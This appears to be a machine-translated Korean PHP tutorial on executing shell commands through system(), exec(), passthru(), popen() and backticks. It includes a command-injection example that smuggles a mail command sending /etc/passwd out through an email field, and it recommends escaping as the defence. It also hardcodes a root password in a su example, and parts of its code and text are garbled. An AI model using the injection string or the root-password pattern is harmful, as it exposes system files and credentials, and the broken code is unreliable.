-
- system("/usr/local/bin/webalizer/webalizer");
코드 복사
실행()
프로토타입: string exec(string command [, string array [, int return_var]])
exec() 함수는 system()과 유사하며, 역시 주어진 명령을 실행하지만 결과를 출력하지 않고 결과의 마지막 줄을 반환한다. 명령 결과의 마지막 줄만 반환하지만 두 번째 매개 변수 배열을 사용하면 결과를 배열 끝에 한 줄씩 추가하여 완전한 결과를 얻을 수 있습니다. 따라서 배열이 비어 있지 않으면 호출하기 전에 unset()을 사용하여 배열을 지우는 것이 가장 좋습니다. 두 번째 매개변수를 지정한 경우에만 세 번째 매개변수를 사용하여 명령 실행 상태 코드를 얻을 수 있습니다.
예:
-
- exec("/bin/ls -l")
- exec("/bin/ls -l", $res); >exec("/bin/ls -l", $res, $rc);
-
코드 복사
passthru()
프로토타입: void passthru (string command [, int return_var])
passthru()는 명령을 호출하기만 하고 결과를 반환하지 않고 명령의 실행 결과를 그대로 표준 출력 장치에 출력합니다. 따라서 passthru() 함수는 pbmplus(원본 이미지의 바이너리 스트림을 출력하는 Unix에서 이미지 처리 도구)와 같은 프로그램을 호출하는 데 자주 사용됩니다. 또한 명령 실행의 상태 코드를 가져올 수도 있습니다.
예:
- header("content-type: image/gif")
- passthru("./ppmtogifhunte.ppm");
-
코드 복사
2) popen() 함수로 프로세스 열기
위의 방법은 단순히 명령을 실행할 수만 있고 명령과 상호 작용할 수는 없습니다. 그러나 명령에 무언가를 입력해야 하는 경우도 있습니다. 예를 들어 Linux 시스템 사용자를 추가할 때 su를 호출하여 현재 사용자를 루트로 변경해야 하며, su 명령은 명령줄에 루트 암호를 입력해야 합니다. 이 경우 위에서 언급한 방법을 사용하는 것은 당연히 불가능합니다.
popen() 함수는 주어진 명령을 실행하기 위해 프로세스 파이프를 열고 파일 핸들을 반환합니다. 파일 핸들이 반환되므로 읽고 쓸 수 있습니다. php3에서 이러한 종류의 핸들은 쓰기 또는 읽기의 단일 모드에서만 작동할 수 있으며 php4부터는 동시에 읽고 쓸 수 있습니다. 핸들이 한 가지 모드(읽기 또는 쓰기)로 열리지 않는 한, 핸들을 닫으려면 pclose() 함수를 호출해야 합니다.
예시 1:
- $fp=popen("/bin/ls -l", "r");
-
코드 복사
예시 2
- /* php에서 시스템 사용자를 추가하는 방법
- 다음은 james라는 사용자를 추가하는 루틴입니다.
- 루트 비밀번호는 매우 좋은. 참고용
- */
- $sucommand = "su --login root --command";
- $useradd = "useradd ";$rootpasswd = "verygood"; = "제임스";
- $user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user)
- $fp = @popen($user_add,"w") ;
- @fputs($fp,$rootpasswd);
- @pclose($fp)
- ?>
-
-
- 코드 복사
-
3) 백틱(`, 즉 키보드의 esc 키 아래에 있는 것, ~와 동일)을 사용합니다.
이 방법은 이전에는 PHP 문서에 포함되지 않았으며 비밀 기술로 존재합니다. 방법은 매우 간단합니다. 두 개의 백틱을 사용하여 실행할 명령을 표현식으로 묶습니다. 이 표현식의 값은 명령 실행의 결과입니다.
예를 들어:
$res='/bin/ls -l' 이 스크립트의 출력:
헌트.gif
헌테.ppm
jpg.htm
jpg.jpg
passthru.php
무엇을 고려해야 합니까?
고려해야 할 두 가지 문제는 보안과 시간 초과입니다.
먼저 안전을 살펴보겠습니다. 예를 들어 소규모 온라인 상점이 있으므로 판매할 수 있는 제품 목록이 파일에 저장되어 있습니다. 사용자가 이메일 주소를 입력한 다음 제품 목록을 보낼 수 있는 양식이 포함된 html 파일을 작성합니다. PHP의 mail() 함수를 사용해 본 적이 없거나 들어본 적이 없다고 가정하면 Linux/Unix 시스템의 메일 프로그램을 호출하여 이 파일을 보냅니다. 프로그램은 다음과 같습니다:
system("mail $to
이 코드를 사용해도 일반 사용자에게는 아무런 위험이 발생하지 않지만 실제로는 매우 큰 보안 취약점이 있습니다. 악의적인 사용자가 다음과 같이 이메일 주소를 입력하는 경우:
'--bla ; 누군가@domain.com으로 메일 보내기 < /etc/passwd ;' - 코드 복사
그러면 이 명령은 결국 다음과 같습니다.
- 'mail --bla ; mail someone@domain.com < products.txt'
코드 복사이러한 명령을 본 네트워크 관리자라면 누구나 식은땀을 흘리게 될 것입니다.
php는 escapeshellcmd()와 escapeshellarg()라는 두 가지 함수를 제공합니다. escapeshellcmd 함수는 쉘 없이 다른 명령을 실행하는 데 사용될 수 있는 문자열의 모든 문자를 이스케이프합니다. 이러한 문자는 세미콜론(), 리디렉션(>) 및 파일에서 읽기(<)와 같이 셸에서 특별한 의미를 갖습니다. escapeshellarg 함수는 명령의 매개변수를 처리하는 데 사용됩니다.
주어진 문자열 주위에 작은따옴표를 추가하고 문자열을 명령 인수로 안전하게 사용할 수 있도록 문자열의 작은따옴표를 이스케이프합니다. <)等。函数escapeshellarg是用来处理命令的参数的。
它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串 就可以安全地作为命令的参数。
시간 초과 문제. 실행하려는 명령이 오랜 시간이 걸릴 경우 시스템 백그라운드에서 명령을 실행해야 합니다.
그러나 기본적으로 system()과 같은 함수는 명령 실행이 완료될 때까지 반환되지 않으므로(실제로 명령의 출력을 기다려야 함) 이로 인해 확실히 PHP 스크립트가 시간 초과됩니다.
해결책:
명령 출력을 다른 파일이나 스트림으로 리디렉션합니다.
예를 들어:
- system("/usr/local/bin/order_proc > /tmp/null &");
코드 복사
|